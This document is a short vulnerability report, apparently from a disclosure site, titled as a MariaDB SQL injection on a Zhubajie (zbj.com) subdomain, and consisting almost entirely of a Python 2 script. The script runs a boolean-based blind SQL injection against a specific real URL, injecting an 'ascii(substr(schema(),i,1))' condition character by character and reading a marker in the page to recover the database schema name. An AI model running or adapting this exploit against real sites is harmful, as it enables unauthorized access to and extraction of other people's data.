猪八戒网某站mariaDB SQL注入

#!/usr/bin/env python
 #-*-coding:utf-8-*-
 
 import requests
 import string
 
 
 character = string.ascii_lowercase + string.digits + '._@ '
 res = ''
 headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36', 'Referer': 'http://quanzi.zbj.com/main/view/qid-10456'}
 for i in range(1, 20):
  for p in character:
   url = "http://quanzi.zbj.com/main/view-qid-10470 aNd ascii(substr(schema(),{},1))={}.html".format(i, ord(p))
   req = requests.get(url, headers=headers)
   print req.url
   if req.text.find(u'匿名') == -1:
    res += str(p)
    print "/n" + res + "/n"
    break
 print "/n/n[Finish]: " + res